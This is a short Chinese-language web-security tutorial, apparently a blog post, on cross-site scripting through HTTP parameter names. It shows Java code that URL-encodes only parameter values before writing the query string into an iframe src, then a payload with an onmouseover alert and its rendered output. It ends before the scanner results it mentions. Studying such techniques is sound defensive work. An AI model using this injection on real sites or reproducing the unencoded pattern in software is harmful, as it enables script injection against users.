在测试web应用漏洞的时候,通常渗透师会尝试找出所有输入点,如cookie、POST\GET参数、HTTP头等,发现之后在这些部分注入恶意数据,如下:
Cookie: --attack freebuf string-- name= --attack freebuf string-- uri?name= --attack freebu string--
普通渗透屌丝都会在接受参数的值里面输入测试字符,但是很少对参数的名称进行测试,我们来看一段代码了解以下如何利用参数的名称来输入恶意代码:
java.util.Enumeration e = request.getParameterNames(); if (e.hasMoreElements()) { String name = (String)e.nextElement(); String value = request.getParameter(name); qs= name+"="+java.net.URLEncoder.encode(value,"utf-8"); while (e.hasMoreElements()) { name = (String)e.nextElement(); value = request.getParameter(name); qs += "&"+name+"="+java.net.URLEncoder.encode(value,"utf-8"); } }
注意这句
qs += "&"+name+"="+java.net.URLEncoder.encode(value,"utf-8");
只有参数的值进行了URLEncoder编码
查询字符串连接在了iframe的SRC属性,输出如下
<iframe src="xxxx.com?search.aspx?<%=qs%>
ok,我们可以来尝试下在参数的名称里面输入XSS代码,如下:
%22%20onmouseover%3d"alert(1111)">%20DANUX</iframe> <iframe a%3D"=
在浏览器里输出如下:
<iframe src="xxxx.com?search.aspx?" onmouseover="alert(1111)">DANUX</iframe> <iframe a=""></iframe>
可以看到HTML正常闭合,导致XSS代码成功执行,如前所述,至少我现在发现在各扫描器里面未发现如上测试的方法。
以下为WebInspect 9.X扫描的结果,没有测试参数的名称。